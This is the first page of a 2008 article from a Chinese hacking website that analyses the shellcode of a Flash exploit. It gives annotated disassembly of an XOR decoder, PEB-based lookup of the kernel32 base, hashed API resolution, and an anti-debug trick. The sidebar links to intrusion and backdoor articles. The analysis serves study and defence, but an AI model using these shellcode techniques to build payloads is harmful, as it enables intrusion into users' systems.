黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]flash漏洞所用shellcode的分析
        ★★★★★

flash漏洞所用shellcode的分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-4 16:25:02

 

首先开始是一次xor解密,每两个字节进行异或,而且每次异或的操作数随着改变。

00407000 > /EB 16           jmp short 00407018                                   ; (1)F8
00407002   |5B              pop ebx ; (3)
00407003   |33C9            xor ecxecx
00407005   |66:B8 2245      mov ax, 4522
00407009   |66:31044B       xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D   |41              inc ecx
0040700E   |40              inc eax
0040700F   |66:81F9 6201    cmp cx, 162
00407014  ^|7C F3           jl short 00407009                                   ; (4)循环,在下面一句F4
00407016   |EB 05           jmp short 0040701D                                   ; (5)再F8一下,跳入解密后的代码
00407018   \E8 E5FFFFFF     call 00407002                                         ; (2)F7

接下来是解密后的实际代码

首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方法,通过PEB得到kernel32.dll的基址, 然后通过遍历其输出表,把每一函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的API函数位置。

0040701D    E9 65020000     jmp 00407287                                         ; (6)解密后代码开头,往下跳到最后
00407022    5F              pop edi ; (8)定位自身地址,此时为后面数据区地址
00407023    6A 30           push 30
00407025    59              pop ecx
00407026    64:8B01         mov eaxdword ptr fs:[ecx]                          ; _PEB
00407029    8B98 A8000000   mov ebxdword ptr [eax+A8]                          ; _PEB.OSMijorVersion
0040702F    8B40 0C         mov eaxdword ptr [eax+C]
00407032    8B70 1C         mov esidword ptr [eax+1C]
00407035    AD              lods dword ptr [esi]
00407036    8B68 08         mov ebpdword ptr [eax+8]                           ; (9)kernel32.dll基址入ebp
00407039    8BF7            mov esiedi
0040703B    81EC 00020000   sub esp, 200
00407041    85DB            test ebxebx
00407043    75 07           jnz short 0040704C                                   ; (10)判断是2000的系统还是XP,我这里是XP,直接跳走
00407045    C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9                     ; 如是2000系统,则修改下面的数据
0040704C    6A 09           push 9
0040704E    59              pop ecx
0040704F    E8 EE010000     call 00407242                                         ; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的加密结果
00407054  ^ E2 F9           loopd   short 0040704F                                   ; 循环,直接在下面F4

这里填入的API地址依次为(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)
0×00 LoadLibraryA
0×04 GetTempPathA
0×08 DeleteFileA
0×0C CreateProcessInternalA
0×10 ExitThread,
0×14 VirtualProtect
0×18 CreateProcessInternalW
0×1C CompareFileTime
0×20 GetSystemTimeAsFileTime

接着搜索内存得到一个“retn”命令位置(实际上不一定是retn命令),用于后面的anti-debug。

00407056    40              inc eax ; GetSystemTimeAsFileTime
00407057    8038 C3         cmp byte ptr [eax], 0C3
0040705A  ^ 75 FA           jnz short 00407056                                   ; (12)循环搜索内存特征,其实是为了借用一个retn代码来改变程序流程反调试
0040705C    8946 30         mov dword ptr [esi+30], eax ; 这里搜索到的是7C801881

再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。

0040705F    6A 02           push 2
00407061    59              pop ecx
00407062    E8 9E010000     call 00407205                                         ; 再次搜索输出表得到函数地址
00407067  ^ E2 F9           loopd   short 00407062

这里取到的地址是(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)

0×24 ZwCreateProcessEx
0×28 ZwWriteVirtualMemory

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886